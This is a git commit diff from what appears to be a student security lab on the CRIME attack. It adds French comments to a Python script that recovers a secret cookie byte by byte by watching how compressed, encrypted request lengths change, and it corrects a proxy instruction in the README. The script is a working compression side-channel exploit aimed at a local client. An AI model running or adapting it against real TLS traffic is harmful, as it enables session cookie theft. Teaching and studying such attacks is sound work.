Comment exploit script
This commit is contained in:
@@ -1,29 +1,36 @@
|
|||||||
from string import ascii_lowercase, ascii_uppercase, digits
|
from string import ascii_lowercase, ascii_uppercase, digits
|
||||||
from subprocess import check_output
|
from subprocess import check_output
|
||||||
|
|
||||||
|
# Modélise les caractères potentiellement présents dans le cookie, la longueur du cookie est inconnue
|
||||||
alphabet = ascii_lowercase + ascii_uppercase + digits
|
alphabet = ascii_lowercase + ascii_uppercase + digits
|
||||||
|
|
||||||
|
# Réinjecte notre propre version d'OpenSSL
|
||||||
env = {
|
env = {
|
||||||
"LD_PRELOAD": "..."
|
"LD_PRELOAD": "..."
|
||||||
}
|
}
|
||||||
|
|
||||||
def request(url: str) -> int:
|
def request(url: str) -> int:
|
||||||
"""Executes the client binary with the following URL, and checks its output."""
|
"""Executes the client binary with the following URL, and get the request length."""
|
||||||
out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8')
|
out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8')
|
||||||
return int(out.split(' ')[1])
|
return int(out.split(' ')[1])
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
# Commence avec un cookie vide comme longueur de référence
|
||||||
cookie = ''
|
cookie = ''
|
||||||
best_len = request('flag=' + cookie)
|
best_len = request('flag=' + cookie)
|
||||||
|
|
||||||
|
# Tant qu'un caractère ajouté ne fait pas varier la longueur des données chiffrées
|
||||||
while True:
|
while True:
|
||||||
for c in alphabet:
|
for c in alphabet:
|
||||||
current = request('flag=' + cookie + c)
|
current = request('flag=' + cookie + c)
|
||||||
if current <= best_len:
|
if current <= best_len:
|
||||||
|
# Le caractère a été compressé, on l'ajoute au cookie
|
||||||
cookie += c
|
cookie += c
|
||||||
best_len = current
|
best_len = current
|
||||||
print(f'Found one byte in cookie: {cookie}')
|
print(f'Found one byte in cookie: {cookie}')
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
|
# Aucune variation de longueur, le cookie est complet
|
||||||
print(f'Found complete cookie: {cookie}')
|
print(f'Found complete cookie: {cookie}')
|
||||||
break
|
break
|
||||||
|
@@ -23,7 +23,7 @@ Paquets nécessaires sous Debian : `build-essentials zlib1g-dev libssl-dev opens
|
|||||||
|
|
||||||
Cloner le dépôt Git à l'IUT ou sur votre machine.
|
Cloner le dépôt Git à l'IUT ou sur votre machine.
|
||||||
|
|
||||||
Pour rappel, à l'IUT, le proxy se désactive avec unset `http_proxy`.
|
Pour rappel, à l'IUT, le proxy se désactive avec unset `https_proxy`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://codefirst.iut.uca.fr/git/clement.freville2/http-crime
|
git clone https://codefirst.iut.uca.fr/git/clement.freville2/http-crime
|
||||||
|
Reference in New Issue
Block a user